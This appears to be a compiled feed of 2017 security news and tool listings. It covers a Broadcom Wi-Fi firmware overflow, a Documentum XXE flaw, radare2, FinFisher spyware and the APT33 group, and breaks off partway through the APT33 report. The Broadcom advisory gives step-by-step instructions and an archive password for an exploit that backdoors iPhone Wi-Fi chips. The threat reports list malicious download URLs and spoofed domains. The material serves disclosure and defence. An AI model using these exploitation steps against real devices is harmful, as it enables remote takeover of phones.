"3.10.0-514.26.1.el7.x86_64," once a maximum number of users have had time to patch their systems against the flaw. Via https://thehackernews.com/2017/09/linux-kernel-hacking.html

iPhone 7 and Samsung Galaxy S7 Wi-Fi Chip Hack Vulnerability Author: laginimaineb | Category: remote exploits | Platform: hardware Date add: 28-09-2017 | Risk: [Security Risk High] | 0day-ID: 0day-ID-28655 Broadcom produces Wi-Fi HardMAC SoCs which are used to handle the PHY and MAC layer processing. These chips are present in both mobile devices and Wi-Fi routers, and are capable of handling many Wi-Fi related events without delegating to the host OS. In order to allow fast roaming between access points in a wireless network, the Broadcom firmware supports the Fast BSS Transition feature (IEEE 802.11r-2008 FT) as well as the Radio Resource Management standard (IEEE 802.11k-2008 RRM). Much of the information related to RRM is transferred by means of Wi-Fi Action Frames, using the RRM category (5). One such frame which is handled by Broadcom's firmware is the "RRM Neighbor Report Response" frame, which has following general structure: ----------------------------------------------------------------------- | Category (5) | Action (5) | Dialog Token | Neighbor Report Elements | ----------------------------------------------------------------------- 0 1 2 3 X (See 802.11-2016, 9.6.7.7, 9.4.2.37 for more information). On the BCM4355C0 SoC with firmware version 9.44.78.27.0.1.56 the RRM Neighbor Report Response frame is handled by RAM function 0x1B0FE8 (which delegates to ROM function 0xABBBC). This function verifies the dialog token (although that is a single byte field, so it can be easily brute-forced by an attacker if they do not know it in advance). Then, the function copies over the contents of the Neighbor Report Response frame into a heap-allocated buffer and subsequently calls an internal ROM function at 0xAC0A8 to store the number of neighbors for each given "Operating Class" (see 9.4.2.37). Here is the approximate high-level logic for this function: int function_AC0A8(..., uint8_t* nrrep_buffer, ...) { ... //Find and increment neighbor in given channel for given OP-Class int res = function_AC07C(..., nrrep_buffer, ...); //If there's no entry for the given OP-Class, create and populate it if (!res) { uint8_t* buffer = malloc(456); if ( !buffer ) { ... } else { buffer[4] = nrrep_buffer[16]; //Operational Class uint8_t channel_number = nrrep_buffer[17]; //Channel Number uint16_t* chan_neighbor_count_arr = (uint16_t*)(buffer + 6); chan_neighbor_count_arr[channel_number]++; ... } } ... } As shown in the snippet above, the firmware keeps a linked list of buffers, one per "Operational Class". Each buffer is 456 byte long, and keeps the array holding the number of neighbors per channel. The entries have the following structure: ----------------------------------------------------------------------- | Next Pointer | Operational Channel | Padding | Neighbor Count Array | ----------------------------------------------------------------------- 0 4 5 6 456 However, since the "Channel Number" field is not validated, an attacker can arbitrarily provide a large value. While the maximal allowed channel number is 0xE0, by providing a larger value (such as 0xFF), the function above will increment a 16-bit word beyond the bounds of the heap-allocated buffer, thereby performing an OOB write. Note that the same insufficient validation is also present in the internal function 0xAC07C. I've been able to verify that this code path exists on various different firmware versions, including those present on the iPhone 7 and Galaxy S7 Edge. Attaching exploit for this issue. The exploit gains code execution on the Wi-Fi firmware on the iPhone 7. The password for the archive is "rrm_exploit". The exploit has been tested against the Wi-Fi firmware as present on iOS 10.2 (14C92), but should work on all versions of iOS up to 10.3.3 (included). However, some symbols might need to be adjusted for different versions of iOS, see "exploit/symbols.py" for more information. Upon successful execution of the exploit, a backdoor is inserted into the firmware, allowing remote read/write commands to be issued to the firmware via crafted action frames (thus allowing easy remote control over the Wi-Fi chip). The attached archive contains the following directories: -hostapd-2.6 - A modified version of hostapd utilised in the exploit. This version of hostapd is configured to support 802.11k RRM, and in particular Neighbor Reports. Moreover, this version of hostapd is instrumented to add various commands, allowing injection and reception of crafted action frames used throughout the exploit. -exploit - The exploit itself. To run the exploit, you must execute the following steps: -Connect (and enable) a SoftMAC Wi-Fi dongle to your machine (such as the TL-WN722N) -Compile the provided version of hostapd -Modify the "interface" setting under "hostapd-2.6/hostapd/hostapd.conf" to match your interface's name -Configure the following settings under "exploit/conf.py": -HOSTAPD_DIR - The directory of the hostapd binary compiled above -TARGET_MAC - The MAC address of the device being exploited -AP_MAC - The MAC address of your wireless dongle -INTERFACE - The name of the wireless dongle's interface -Assemble the backdoor shellcode by running "exploit/assemble_backdoor.sh" -Run hostapd with the configuration file provided above, broadcasting a Wi-Fi network ("test80211k") -Connect the target device to the network -Run "exploit/attack.py" Following the steps above should result in installation of a simple backdoor allowing read/write access to the firmware. You can interact with the backdoor to gain R/W access to the firmware by calling the "read_dword" and "write_dword" functions, respectively. Exploit RRM.zip: https://bugs.chromium.org/p/project-zero/issues/detail?id=1289#c3 # 0day.today [2017-09-28] # Source: http://0day.today/exploit/28655

____ ___ ___ ___ ____ ___ ____ | _ \/ \| \/ \ _ \/ _ \ |__ \ | ( V | | ) V | ( _/ / __/ |__\__|_|__|___/__|__|_\__|___| |____| www.radare.org --pancake Introduction r2 is a rewrite from scratch of radare in order to provide a set of libraries and tools to work with binary files. Radare project started as a forensics tool, a scriptable commandline hexadecimal editor able to open disk files, but later support for analyzing binaries, disassembling code, debugging programs, attaching to remote gdb servers, .. radare2 is portable. Architectures: 6502, 8051, CRIS, H8/300, LH5801, T8200, arc, arm, avr, bf, blackfin, xap, dalvik, dcpu16, gameboy, i386, i4004, i8080, m68k, malbolge, mips, msil, msp430, nios II, powerpc, rar, sh, snes, sparc, tms320 (c54x c55x c55+), V810, x86-64, zimg, risc-v. File Formats: bios, CGC, dex, elf, elf64, filesystem, java, fatmach0, mach0, mach0-64, MZ, PE, PE+, TE, COFF, plan9, dyldcache, Commodore VICE emulator, Game Boy (Advance), Nintendo DS ROMs and Nintendo 3DS FIRMs. Operating Systems: Android, GNU/Linux, [Net|Free|Open]BSD, iOS, OSX, QNX, w32, w64, Solaris, Haiku, FirefoxOS Bindings: Vala/Genie, Python (2, 3), NodeJS, Lua, Go, Perl, Guile, php5, newlisp, Ruby, Java, OCaml, ... Dependencies radare2 can be built without any special dependency, just use make and get a working toolchain (gcc, clang, tcc, ..) Optionally you can use libewf for loading EnCase disk images. To build the bindings you need latest valabind, g++ and swig2. Install The easiest way to install radare2 from git is by running the following command: $ sys/install.sh If you want to install radare2 in the home directory without using root privileges and sudo, simply run: $ sys/user.sh Building with meson + ninja The sys/install.sh method uses acr+make to build r2 from sources, which is the default and recommended way, but there's also a work-in-progress support for Meson. Run first the configuration process: $ ./configure You can install last version of meson and ninja using r2pm: $ r2pm -i meson $ r2pm -r make meson $ r2pm -r make meson-symstall Or just run those lines if you have them available in PATH: $ make meson # will run make meson-config automatically $ sudo make meson-symstall # symstall the meson build into PREFIX (/usr) $ sudo make meson-uninstall # uninstall the meson installation The PREFIX is inherited from the last run of ./configure, so it's recommended to run sys/install.sh at least once to autodetect this, this step will end up into meson. At the moment, the meson build system doesnt supports much configuration options and it is not able to build all the plugins, it has been tested to work on the following hosts: Rpi3-arm32 macOS-x86-64 Termux/Android-arm64 VoidLinux-x86-64 Windows-x86-64 Uninstall In case of a polluted filesystem you can uninstall the current version or remove all previous installations: $ make uninstall $ make purge Package manager Radare2 has its own package manager - r2pm. It's packages repository is on GitHub too. To start to use it for the first time you need to initialize packages: $ r2pm init Refresh the packages database before installing any package: $ r2pm update To install a package use the following command: $ r2pm install [package name] Bindings All language bindings are under the r2-bindings directory. You will need to install swig and valabind in order to build the bindings for Python, Lua, etc.. APIs are defined in vapi files which are then translated to swig interfaces, nodejs-ffi or other and then compiled. The easiest way to install the python bindings is to run: $ r2pm install lang-python2 #lang-python3 for python3 bindings $ r2pm install r2api-python $ r2pm install r2pipe-python In addition there are r2pipe bindings, which are an API interface to interact with the prompt, passing commands and receivent the output as a string, many commands support JSON output, so it's integrated easily with many languages in order to deserialize it into native objects. $ npm install r2pipe # NodeJS $ gem install r2pipe # Ruby $ pip install r2pipe # Python $ opam install radare2 # OCaml And also for Go, Rust, Swift, D, .NET, Java, NewLisp, Perl, Haskell, Vala, OCaml, and many more to come! Regression Testsuite Running make tests it will fetch the radare2-regressions repository and run all the tests in order to verify that no changes break a functionality. We run those tests on every commit, and they are also executed with ASAN and valgrind on different platforms to catch other unwanted 'features'. Documentation There is no formal documentation of r2 yet. Not all commands are compatible with radare1, so the best way to learn how to do stuff in r2 is by reading the examples from the web and appending '?' to every command you are interested in. Commands are small mnemonics of few characters and there is some extra syntax sugar that makes the shell much more pleasant for scripting and interacting with the apis. You could also checkout the radare2 book. Coding Style Look at CONTRIBUITING.md Webserver radare2 comes with an embedded webserver that serves a pure html/js interface that sends ajax queries to the core and aims to implement an usable UI for phones, tablets and desktops. $ r2 -c=H /bin/ls To use the webserver on Windows, you require a cmd instance with administrator rights. To start the webserver use command in the project root. > radare2.exe -c=H rax2.exe Screenshots Pointers Website: http://www.radare.org/ IRC: irc.freenode.net #radare Telegram: https://t.me/radare Matrix: @radare2:matrix.org Twitter: @radareorg Download: radare2-master.zip or git clone https://github.com/radare/radare2.git Source: https://github.com/radare/radare2

Exe2Image A simple utility to convert EXE files to PNG images and vice versa. Screenshots Putty.exe converted to an image. Downloads: Exe2Image.7z Source code (.zip) Source code (tar.gz) Source: https://github.com/OsandaMalith/Exe2Image

The system uses low-level Doppler radar to measure your heart, and then continually monitors your heart to make sure no one else has stepped in to run your computer. Credit: Bob Wilder/University at Buffalo. A new non-contact, remote biometric tool could be the next advance in computer security By Grove Potter Release Date: September 25, 2017 BUFFALO, N.Y. — Forget fingerprint computer identification or retinal scanning. A University at Buffalo-led team has developed a computer security system using the dimensions of your heart as your identifier. The system uses low-level Doppler radar to measure your heart, and then continually monitors your heart to make sure no one else has stepped in to run your computer. The technology is described in a paper that the inventors will present at next month’s 23rd Annual International Conference on Mobile Computing and Communication (MobiCom) in Utah. The system is a safe and potentially more effective alternative to passwords and other biometric identifiers, they say. It may eventually be used for smartphones and at airport screening barricades. “We would like to use it for every computer because everyone needs privacy,” said Wenyao Xu, PhD, the study’s lead author, and an assistant professor in the Department of Computer Science and Engineering in UB’s School of Engineering and Applied Sciences. “Logging-in and logging-out are tedious,” he said. The signal strength of the system’s radar “is much less than Wi-Fi,” and therefore does not pose any health threat, Xu said. “We are living in a Wi-Fi surrounding environment every day, and the new system is as safe as those Wi-Fi devices,” he said. “The reader is about 5 milliwatts, even less than 1 percent of the radiation from our smartphones.” The system needs about 8 seconds to scan a heart the first time, and thereafter the monitor can continuously recognize that heart. The system, which was three years in the making, uses the geometry of the heart, its shape and size, and how it moves to make an identification. “No two people with identical hearts have ever been found,” Xu said. And people’s hearts do not change shape, unless they suffer from serious heart disease, he said. Heart-based biometrics systems have been used for almost a decade, primarily with electrodes measuring electrocardiogram signals, “but no one has done a non-contact remote device to characterize our hearts’ geometry traits for identification,” he said. The new system has several advantages over current biometric tools, like fingerprints and retinal scans, Xu said. First, it is a passive, non-contact device, so users are not bothered with authenticating themselves whenever they log-in. And second, it monitors users constantly. This means the computer will not operate if a different person is in front of it. Therefore, people do not have to remember to log-off when away from their computers. Xu plans to miniaturize the system and have it installed onto the corners of computer keyboards. The system could also be used for user identification on cell phones. For airport identification, a device could monitor a person up to 30 meters away. Xu and collaborators will present the paper — “Cardiac Scan: A Non-contact and Continuous Heart-based User Authentication System” — at MobiCom, which is billed as the flagship conference in mobile computing. Organized by the Association for Computing Machinery, the conferernce will be held from Oct. 16-20 in Snowbird, Utah. Additional authors are, from the UB Department of Computer Science and Engineering, Feng Lin, PhD (now an assistant professor at the University of Colorado Denver); Chen Song, a PhD student; Yan Zhuang, a master’s student; and Kui Ren, PhD, SUNY Empire Innovation Professor; and from Texas Tech University, Changzhi Li, PhD. The research was supported, in part, by the U.S. National Science Foundation. Source: http://www.buffalo.edu/news/releases/2017/09/034.html

OpenText Documentum Administrator version 7.2.0180.0055 and Documentum Webtop version 6.8.0160.0073 suffer from XML external entity injection vulnerabilities. Title: OpenText Documentum Administrator and Webtop - XML External Entity Injection Author: Jakub Palaczynski, Pawel Gocyla Date: 24. September 2017 CVE (Administrator): CVE-2017-14526 CVE (Webtop): CVE-2017-14527 Affected software: ================== Documentum Administrator Documentum Webtop Exploit was tested on: ====================== Documentum Administrator version 7.2.0180.0055 Documentum Webtop version 6.8.0160.0073 Other versions may also be vulnerable. XML External Entity Injection - 4 instances: ============================================ Please note that examples below are for Documentum Administrator, but the same exploitation takes place in Webtop. This vulnerability allows for: - listing directories and retrieving content of files from the filesystem - stealing hashes of user that runs Documentum (if installed on Windows) - DoS 1. Instance 1 and 2: Authenticated users can exploit XXE vulnerability by browsing "Tools > Preferences". It generates request to /xda/com/documentum/ucf/server/transport/impl/GAIRConnector which contains two XML structures. Both accept DTD and parse it which allows exploitation. 2. Instance 3: Authenticated users can exploit XXE vulnerability by using "File > Import". Users can import XML files and use "MediaProfile" to open file which triggers vulnerability. 3. Instance 4: Authenticated users can exploit XXE vulnerability by using "File > Check In". Users can use XML check in file and use "MediaProfile" to open it which triggers vulnerability. Fix: ==== https://knowledge.opentext.com/knowledge/llisapi.dll/Open/68982774 Contact: ======== Jakub[dot]Palaczynski[at]gmail[dot]com pawellgocyla[at]gmail[dot]com Source: https://packetstormsecurity.com/files/144364/OpenText-Documentum-Administrator-Webtop-XXE-Injection.html

SCUTUM Firewall Current Version: 2.5.2 It is now recommended to upgrade scutum with --upgrade parameter (since 2.5.2) Current Version Change log: Added Self-Upgrading Function, now users can execute self-upgrading with $ sudo scutum --upgrade Added AVALON Framework Self-Upgrading function (included when using "--upgrade" parameter) TODO: Finish up developing a stable version for SCUTUM GUI Recent Changes: Interfaces are now controlled by a new interface controller class SCUTUM GUI is now avaliable for testing Added option to choose whether to delete the installer file after installation Fixed arptables detection errors on some Linux distributions What is SCUTUM? Long story short, ARP firewall. It automatically adds gateways to the whitelist on connect and blocks everthing else to avoid potential threat. SCUTUM is an ARP firewall that prevents your computer from being ARP-spoofed by other computers on LAN. SCUTUM controls "arptables" in your computer so it accepts ARP packets only from the gateway. This way, when people with malicious intentions cannot spoof your arp table. SCUTUM also prevents other people from detecting your device on LAN if SCUTUM is used with properly configured TCP/UDP firewall. SCUTUM is also capable of handling tcp/udp/icmp traffic with iptables. You can choose to enable this feature during installation. However, a more professional firewall controller like UFW is recommended. They can handle traffic with more precision. Usage & Installation You should run a installation before running it for the first time for setting up configuration files. I am not sure if portable version is necessary. If you think this should be changed, raise an issue and I will change it. Installation git clone https://github.com/K4YT3X/SCUTUM.git cd SCUTUM/ sudo python3 scutum.py --install # scutum.py deletes itself after installation cd ../ rm -rf SCUTUM/ GUI Usage ENABLE: Enable SCUTUM (Start spontaneously) DISABLE: Disable SCUTUM (Never start spontaneously) DISABLE (Temporarily): Disable SCUTUM until the next time connected to a network Usage This should be easy SCUTUM starts automatically by itself after installation $ sudo scutum # Start SCUTUM Normally $ sudo scutum --start # Start SCUTUM Manually for once even it it's disabled $ sudo scutum --enable # Enable SCUTUM (Start automatically on connect) $ sudo scutum --disable # Disable SCUTUM (Don't start automatically on connect) $ sudo scutum --reset # Reset SCUTUM (Allow ALL ARP packages temporarily) $ sudo scutum --purgelog # Purge SCUTUM logs $ sudo scutum --install # Run scutum installation wizard and install SCUTUM into system $ sudo scutum --uninstall # Remove SCUTUM from system completely $ sudo scutum --upgrade # Upgrade SCUTUM and AVALON Framework SCUTUM Workflow postconnect Connect to Wi-Fi Accept all ARP packets Cache gateway MAC address by establishing a socket connection with a timeout of 0 Add Gateway MAC to exception DROP all ARP packets [Finished] postdisconnect Accept all ARP packets [Finished] Download: SCUTUM-master.zip or: git clone https://github.com/K4YT3X/SCUTUM.git Source: https://github.com/K4YT3X/SCUTUM

Apple yesterday rolled out a new version of its macOS operating system, dubbed High Sierra 10.13—a few hours before an ex-NSA hacker publicly disclosed the details of a critical vulnerability that affects High Sierra as well as all earlier versions of macOS. Patrick Wardle, an ex-NSA hacker and now head of research at security firm Synack, found a critical zero-day vulnerability in macOS that could allow any installed application to steal usernames and plaintext passwords of online accounts stored in the Mac Keychain. The macOS Keychain is a built-in password management system that helps Apple users securely store passwords for applications, servers, websites, cryptographic keys and credit card numbers—which can be accessed using only a user-defined master password. Typically no application can access the contents of Keychain unless the user enters the master password. The security flaw actually resides in macOS's kernel extension SKEL (Secure Kernel Extension Loading) security feature, which was disclosed earlier this month, allowing an attacker to run any third-party at kernel level extension without requiring user approval. Wardle yesterday posted a proof-of-concept video of the exploit, demonstrating how the hack can be used to exfiltrate every single plaintext password from Keychain without requiring the user to enter the master password. The video shows how a malicious installed application, signed or unsigned, allowed an attacker to remotely steal all the passwords stored in the keychain and does not notify the user of the attack either. Wardle claimed that he reported the issue to Apple last month, and made the public disclosure when the company planned to release High Sierra without fixing the vulnerability, which not only affects the newest version but also older versions of macOS. Via thehackernews.com

cine nu se poate lasa de fumat si vrea sa citeasca, pm cu ce doreste din lista^

ManyCam 4.0.52 - versunile vechi, cauta pe uptodown.com

New surveillance campaigns utilizing FinFisher, infamous spyware known also as FinSpy and sold to governments and their agencies worldwide, are in the wild. Besides featuring technical improvements, some of these variants have been using a cunning, previously-unseen infection vector with strong indicators of major internet service provider (ISP) involvement. FinFisher has extensive spying capabilities, such as live surveillance through webcams and microphones, keylogging, and exfiltration of files. What sets FinFisher apart from other surveillance tools, however, are the controversies around its deployments. FinFisher is marketed as a law enforcement tool and is believed to have been used also by oppressive regimes. We discovered these latest FinFisher variants in seven countries; unfortunately, we cannot name them so as not to put anyone in danger. Infecting the targets FinFisher campaigns are known to have used various infection mechanisms, including spearphishing, manual installations with physical access to devices, 0-day exploits, and so-called watering hole attacks – poisoning websites the targets are expected to visit (which we observed to serve a mobile version of FinFisher, for example). What’s new – and most troubling – about the new campaigns in terms of distribution is the attackers’ use of a man-in-the-middle attack with the “man” in the middle most likely operating at the ISP level. We have seen this vector being used in two of the countries in which ESET systems detected the latest FinFisher spyware (in the five remaining countries, the campaigns have relied on traditional infection vectors). When the user – the target of surveillance – is about to download one of several popular (and legitimate) applications, they are redirected to a version of that application infected with FinFisher. The applications we have seen being misused to spread FinFisher are WhatsApp, Skype, Avast, WinRAR, VLC Player and some others. It is important to note that virtually any application could be misused in this way. The attack starts with the user searching for one of the affected applications on legitimate websites. After the user clicks on the download link, their browser is served a modified link and thus redirected to a trojanized installation package hosted on the attacker’s server. When downloaded and executed, it installs not only the intended legitimate application, but also the FinFisher spyware bundled with it. Figure 1: Infection mechanism of latest FinFisher variants The redirection is achieved by the legitimate download link being replaced by a malicious one. The malicious link is delivered to the user’s browser via an HTTP 307 Temporary Redirect status response code indicating that the requested content has been temporarily moved to a new URL. The whole redirection process occurs without the user’s knowledge and is invisible to the naked eye. Figure 2: Detailed infection mechanism of latest FinFisher variants FinFisher: All about flying under the radar The latest version of FinFisher has also received technical improvements, its authors putting even greater focus on stealth. The spyware uses custom code virtualization to protect the majority of its components, including the kernel-mode driver. In addition, the entire code is filled with anti-disassembly tricks. We found numerous anti-sandboxing, anti-debugging, anti-virtualization and anti-emulation tricks in the spyware. All this makes the analysis more complicated. After overcoming the first level of protection (anti-disassembly), the next level – code virtualization – awaits. The virtual machine dispatcher has 34 handlers; the spyware is executed almost entirely within an interpreter, which adds another layer to be dealt with during the analysis. Figure 3: Visualization of the many virtual machine handlers that complicate code analysis We will release a more detailed technical analysis of the latest FinFisher variant in an upcoming whitepaper. Special treatment for privacy-concerned users While analyzing the recent campaigns, we discovered an interesting sample: FinFisher spyware masqueraded as an executable file named “Threema”. Such a file could be used to target privacy-concerned users, as the legitimate Threema application provides secure instant messaging with end-to-end encryption. Ironically, getting tricked into downloading and running the infected file would result in the privacy-seeking user being spied upon. This special focus on users seeking encryption software is not limited solely to end-to-end communicators, apparently. During our research, we have also found an installation file of TrueCrypt – the once-very-popular disk encryption software – trojanized with FinFisher. Who is the “man” in the middle? It would be technically possible for the “man” in these man-in-the-middle attacks to be situated at various positions along the route from the target’s computer to the legitimate server (e.g. compromised Wi-Fi hotspots). However, the geographical dispersion of ESET’s detections of latest FinFisher variants suggests the MitM attack is happening at a higher level – an ISP arises as the most probable option. This assumption is supported by a number of facts: First, according to leaked internal materials that have been published by WikiLeaks, the FinFisher maker offered a solution called “FinFly ISP” to be deployed on ISP networks with capabilities matching those necessary for performing such a MitM attack. Second, the infection technique (using the HTTP 307 redirect) is implemented in the very same way in both of the affected countries, which is very unlikely unless it was developed and/or provided by the same source. Third, all affected targets within a country are using the same ISP. Finally, the very same redirection method and format have been used for internet content filtering by internet service providers in at least one of the affected countries. The deployment of the ISP-level MitM attack technique mentioned in the leaked documents has never been revealed – until now. If confirmed, these FinFisher campaigns would represent a sophisticated and stealthy surveillance project unprecedented in its combination of methods and reach. Has my computer been infected? / Am I being spied on? All ESET products detect and block this threat as Win32/FinSpy.AA and Win32/FinSpy.AB. Using ESET’s Free Online Scanner, you can check your computer for its presence and remove it if detected. ESET customers are protected automatically. IoCs ESET detection names: Win32/FinSpy.AA Win32/FinSpy.AB Redirect: HTTP/1.1 307 Temporary Redirect\r\nLocation:URL\r\nConnection: close\r\n\r\n List of URL’s we found during our investigation: hxxp://108.61.165.27/setup/TrueCrypt-7.2.rar hxxp://download.downloading.shop/pcdownload.php?a=dad2f8ed616d2bfe2e9320a821f0ee39 hxxp://download.downloading.shop/pcdownload.php?a=84619b1b3dc8266bc8878d2478168baa hxxp://download.downloading.shop/pcdownload.php?a=ddba855c17da36d61bcab45b042884be hxxp://download.downloading.shop/pcdownload.php?a=d16ef6194a95d4c8324c2e6673be7352 hxxp://download.downloading.shop/pcdownload.php?a=95207e8f706510116847d39c32415d98 hxxp://download.downloading.shop/pcdownload.php?a=43f02726664a3b30e20e39eb866fb1f8 hxxp://download.downloading.shop/pcdownload.php?a=cb858365d08ebfb029083d9e4dcf57c2 hxxp://download.downloading.shop/pcdownload.php?a=8f8383592ba080b81e45a8913a360b27 hxxp://download.downloading.shop/pcdownload.php?a=e916ba5c43e3dd6adb0d835947576123 hxxp://download.downloading.shop/pcdownload.php?a=96362220acc8190dcd5323437d513215 hxxp://download.downloading.shop/pcdownload.php?a=84162502fa8a838943bd82dc936f1459 hxxp://download.downloading.shop/pcdownload.php?a=974b73ee3c206283b6ee4e170551d1f7 hxxp://download.downloading.shop/pcdownload.php?a=cd32a3477c67defde88ce8929014573d hxxp://download.downloading.shop/pcdownload.php?a=36a5c94ffd487ccd60c9b0db4ae822cf hxxp://download.downloading.shop/pcdownload.php?a=0ebb764617253fab56d2dd49b0830914 hxxp://download.downloading.shop/pcdownload.php?a=f35e058c83bc0ae6e6c4dffa82f5f7e7 hxxp://download.downloading.shop/pcdownload.php?a=64f09230fd56149307b35e9665c6fe4c hxxp://download.downloading.shop/pcdownload.php?a=b3cc01341cb00d91bcc7d2b38cedc064 hxxp://download.downloading.shop/pcdownload.php?a=5fc0440e395125bd9d4c318935a6b2b0 hxxp://download.downloading.shop/pcdownload.php?a=5ca93ad295c9bce5e083faab2e2ac97a hxxp://download.downloading.shop/pcdownload.php?a=f761984bb5803640aff60b9bc2e53db7 hxxp://download.downloading.shop/pcdownload.php?a=5ca93ad295c9bce5e083faab2e2ac97a hxxp://download.downloading.shop/pcdownload.php?a=514893fa5f3f4e899d2e89e1c59096f3 hxxp://download.downloading.shop/pcdownload.php?a=a700af6b8a49f0e1a91c48508894a47c hxxp://download.downloading.shop/pcdownload.php?a=36a5c94ffd487ccd60c9b0db4ae822cf hxxp://download.downloading.shop/pcdownload.php?a=a700af6b8a49f0e1a91c48508894a47c hxxp://download.downloading.shop/pcdownload.php?a=395ce676d1ebc1048004daad855fb3c4 hxxp://download.downloading.shop/pcdownload.php?a=cd32a3477c67defde88ce8929014573d hxxp://download.downloading.shop/pcdownload.php?a=49d6d828308e99fede1f79f82df797e9 hxxp://download.downloading.shop/pcdownload.php?a=d16ef6194a95d4c8324c2e6673be7352 Samples (SHA-1) ca08793c08b1344ca67dc339a0fb45e06bdf3e2f 417072b246af74647897978902f7d903562e0f6f c4d1fb784fcd252d13058dbb947645a902fc8935 e3f183e67c818f4e693b69748962eecda53f7f88 d9294b86b3976ddf89b66b8051ccf98cfae2e312 a6d14b104744188f80c6c6b368b589e0bd361607 417072b246af74647897978902f7d903562e0f6f f82d18656341793c0a6b9204a68605232f0c39e7 df76eda3c1f9005fb392a637381db39cceb2e6a8 5f51084a4b81b40a8fcf485b0808f97ba3b0f6af 4b41f36da7e5bc1353d4077c3b7ef945ddd09130 1098ba4f3da4795f25715ce74c556e3f9dac61fc d3c65377d39e97ab019f7f00458036ee0c7509a7 c0ad9c242c533effd50b51e94874514a5b9f2219 a16ef7d96a72a24e2a645d5e3758c7d8e6469a55 c33fe4c286845a175ee0d83db6d234fe24dd2864 cfa8fb7c9c3737a8a525562853659b1e0b4d1ba8 9fc71853d3e6ac843bd36ce9297e398507e5b2bd 66eccea3e8901f6d5151b49bca53c126f086e437 400e4f843ff93df95145554b2d574a9abf24653f fb4a4143d4f32b0af4c2f6f59c8d91504d670b41 f326479a4aacc2aaf86b364b78ed5b1b0def1fbe 275e76fc462b865fe1af32f5f15b41a37496dd97 df4b8c4b485d916c3cadd963f91f7fa9f509723f 220a8eacd212ecc5a55d538cb964e742acf039c6 3d90630ff6c151fc2659a579de8d204d1c2f841a Source: https://www.welivesecurity.com/2017/09/21/new-finfisher-surveillance-campaigns/

When discussing suspected Middle Eastern hacker groups with destructive capabilities, many automatically think of the suspected Iranian group that previously used SHAMOON – aka Disttrack – to target organizations in the Persian Gulf. However, over the past few years, we have been tracking a separate, less widely known suspected Iranian group with potential destructive capabilities, whom we call APT33. Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government. Recent investigations by FireEye’s Mandiant incident response consultants combined with FireEye iSIGHT Threat Intelligence analysis have given us a more complete picture of APT33’s operations, capabilities, and potential motivations. This blog highlights some of our analysis. Our detailed report on FireEye MySIGHT contains a more thorough review of our supporting evidence and analysis. We will also be discussing this threat group further during our webinar on Sept. 21 at 8 a.m. ET. Targeting APT33 has targeted organizations – spanning multiple industries – headquartered in the United States, Saudi Arabia and South Korea. APT33 has shown particular interest in organizations in the aviation sector involved in both military and commercial capacities, as well as organizations in the energy sector with ties to petrochemical production. From mid-2016 through early 2017, APT33 compromised a U.S. organization in the aerospace sector and targeted a business conglomerate located in Saudi Arabia with aviation holdings. During the same time period, APT33 also targeted a South Korean company involved in oil refining and petrochemicals. More recently, in May 2017, APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company. We assess the targeting of multiple companies with aviation-related partnerships to Saudi Arabia indicates that APT33 may possibly be looking to gain insights on Saudi Arabia’s military aviation capabilities to enhance Iran’s domestic aviation capabilities or to support Iran’s military and strategic decision making vis a vis Saudi Arabia. We believe the targeting of the Saudi organization may have been an attempt to gain insight into regional rivals, while the targeting of South Korean companies may be due to South Korea’s recent partnerships with Iran’s petrochemical industry as well as South Korea’s relationships with Saudi petrochemical companies. Iran has expressed interest in growing their petrochemical industry and often posited this expansion in competition to Saudi petrochemical companies. APT33 may have targeted these organizations as a result of Iran’s desire to expand its own petrochemical production and improve its competitiveness within the region. The generalized targeting of organizations involved in energy and petrochemicals mirrors previously observed targeting by other suspected Iranian threat groups, indicating a common interest in the sectors across Iranian actors. Figure 1 shows the global scope of APT33 targeting. Figure 1: Scope of APT33 Targeting Spear Phishing APT33 sent spear phishing emails to employees whose jobs related to the aviation industry. These emails included recruitment themed lures and contained links to malicious HTML application (.hta) files. The .hta files contained job descriptions and links to legitimate job postings on popular employment websites that would be relevant to the targeted individuals. An example .hta file excerpt is provided in Figure 2. To the user, the file would appear as benign references to legitimate job postings; however, unbeknownst to the user, the .hta file also contained embedded code that automatically downloaded a custom APT33 backdoor. Figure 2: Excerpt of an APT33 malicious .hta file We assess APT33 used a built-in phishing module within the publicly available ALFA TEaM Shell (aka ALFASHELL) to send hundreds of spear phishing emails to targeted individuals in 2016. Many of the phishing emails appeared legitimate – they referenced a specific job opportunity and salary, provided a link to the spoofed company’s employment website, and even included the spoofed company’s Equal Opportunity hiring statement. However, in a few cases, APT33 operators left in the default values of the shell’s phishing module. These appear to be mistakes, as minutes after sending the emails with the default values, APT33 sent emails to the same recipients with the default values removed. As shown in Figure 3, the “fake mail” phishing module in the ALFA Shell contains default values, including the sender email address (solevisible@gmail[.]com), subject line (“your site hacked by me”), and email body (“Hi Dear Admin”). Figure 3: ALFA TEaM Shell v2-Fake Mail (Default) Figure 4 shows an example email containing the default values the shell. Figure 4: Example Email Generated by the ALFA Shell with Default Values Domain Masquerading APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training, maintenance and support for Saudi’s military and commercial fleet. Based on observed targeting patterns, APT33 likely used these domains in spear phishing emails to target victim organizations. The following domains masquerade as these organizations: Boeing, Alsalam Aircraft Company, Northrop Grumman Aviation Arabia (NGAAKSA), and Vinnell Arabia. boeing.servehttp[.]com alsalam.ddns[.]net ngaaksa.ddns[.]net ngaaksa.sytes[.]net vinnellarabia.myftp[.]org Boeing, Alsalam Aircraft company, and Saudia Aerospace Engineering Industries entered into a joint venture to create the Saudi Rotorcraft Support Center in Saudi Arabia in 2015 with the goal of servicing Saudi Arabia’s rotorcraft fleet and building a self-sustaining workforce in the Saudi aerospace supply base. Alsalam Aircraft Company also offers military and commercial maintenance, technical support, and interior design and refurbishment services. Two of the domains appeared to mimic Northrop Grumman joint ventures. These joint ventures – Vinnell Arabia and Northrop Grumman Aviation Arabia – provide aviation support in the Middle East, specifically in Saudi Arabia. Both Vinnell Arabia and Northrop Grumman Aviation Arabia have been involved in contracts to train Saudi Arabia’s Ministry of National Guard. Identified Persona Linked to Iranian Government We identified APT33 malware tied to an Iranian persona who may have been employed by the Iranian government to conduct cyber threat activity against its adversaries. We assess an actor using the handle “xman_1365_x” may have been involved in the development and potential use of APT33’s TURNEDUP backdoor due to the inclusion of the handle in the processing-debugging (PDB) paths of many of TURNEDUP samples. An example can be seen in Figure 5. Figure 5: “xman_1365_x" PDB String in TURNEDUP Sample Xman_1365_x was also a community manager in the 